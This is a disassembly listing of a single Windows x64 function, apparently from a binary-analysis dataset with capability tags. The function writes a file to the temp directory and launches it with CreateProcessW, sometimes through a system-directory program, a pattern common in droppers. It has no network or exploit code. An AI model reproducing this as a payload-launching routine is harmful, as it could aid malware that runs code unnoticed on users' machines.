Function at 0x405d9d
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
mov r14, qword [rsp + 0x978]
mov ebx, ecx
lea rcx, [0x0040b99e]
mov ebp, r8d
mov r15, rdx
call fcn.00405bb0
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, r12
mov r13, rax
call fcn.00405c32
lea rcx, [0x0040b9bd]
call fcn.00405b30
mov rcx, r13
lea r13, [rsp + 0xe0]
mov r12, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r12
mov qword [rsp + 0x58], rax
call fcn.00405c32
mov rdx, r13
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor r8d, r8d
mov r9, r13
mov rcx, r13
lea rdx, [0x0040b9d8]
mov rdi, qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, r13
call rsi
mov r10, qword [rsp + 0x58]
test eax, eax
je 0x406057
xor ecx, ecx
mov rdx, r13
call r10
test eax, eax
je 0x405e6a
cmp eax, 0xb7
jne 0x406057
lea r12, [rsp + 0x2e8]
xor r8d, r8d
xor edx, edx
mov rcx, r13
mov r9, r12
call rdi
mov rcx, r12
call rsi
test eax, eax
je 0x406057
cmp ebx, 1
je 0x405e9f
cmp ebx, 2
jne 0x405ecb
lea rcx, [0x0040b9f1]
jmp 0x405ea6
lea rcx, [0x0040b9e0]
call fcn.00405bb0
mov rcx, r12
mov r13, rax
call sub.msvcrt.dll_wcslen
mov rdx, r13
lea rcx, [r12 + rax*2 - 8]
call sub.msvcrt.dll_wcscpy
mov rcx, r13
call fcn.00405c32
mov r8d, ebp
mov rdx, r15
mov rcx, r12
call fcn.00405d03
test eax, eax
je 0x406057
cmp ebx, 1
je 0x405ef0
cmp ebx, 2
je 0x405f30
jmp 0x406057
lea rbx, [rsp + 0x78]
xor eax, eax
lea rbp, [rsp + 0x60]
mov rdx, r12
mov rdi, rbx
mov ecx, 0x1a
lea r13, [rsp + 0x6f8]
rep stosd dword [rdi], eax
mov rdi, rbp
mov ecx, 6
mov dword [rsp + 0x78], 0x68
rep stosd dword [rdi], eax
mov rcx, r13
call sub.msvcrt.dll_wcscpy
jmp 0x405fdf
lea rbx, [rsp + 0x78]
xor eax, eax
mov ecx, 0x1a
mov edx, 0x104
mov rdi, rbx
lea rbp, [rsp + 0x60]
lea r9, [rsp + 0x4f0]
rep stosd dword [rdi], eax
mov ecx, 6
mov rdi, rbp
mov qword [rsp + 0x58], r9
rep stosd dword [rdi], eax
mov dword [rsp + 0x78], 0x68
mov rcx, r9
lea r13, [rsp + 0x6f8]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [0x0040ba06]
call fcn.00405bb0
mov qword [rsp + 0x28], r12
mov r9, qword [rsp + 0x58]
mov rcx, r13
mov qword [rsp + 0x20], rax
lea r8, str._ls_ls___ls__
mov edx, 0x104
mov r15, rax
call fcn.00405c60
mov rcx, qword [rsp + 0x970]
call fcn.00405c8a
mov rcx, r13
mov rdx, rax
mov qword [rsp + 0x58], rax
call sub.msvcrt.dll_wcscat
mov r8, qword [rsp + 0x58]
mov rcx, r8
call fcn.00404f58
mov rcx, r15
call fcn.00405c32
test r14, r14
je 0x406011
mov rcx, r14
call fcn.00405c8a
lea rdx, [0x0040ba02]
mov rcx, r13
mov r14, rax
call sub.msvcrt.dll_wcscat
mov rcx, r13
mov rdx, r14
call sub.msvcrt.dll_wcscat
mov rcx, r14
call fcn.00404f58
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rbx
mov rdx, r13
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40605b
mov rcx, r12
call rsi
xor eax, eax
jmp 0x406075
mov rcx, qword [rsp + 0x60]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbx
mov rcx, qword [rsp + 0x68]
call rbx
mov eax, 1
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret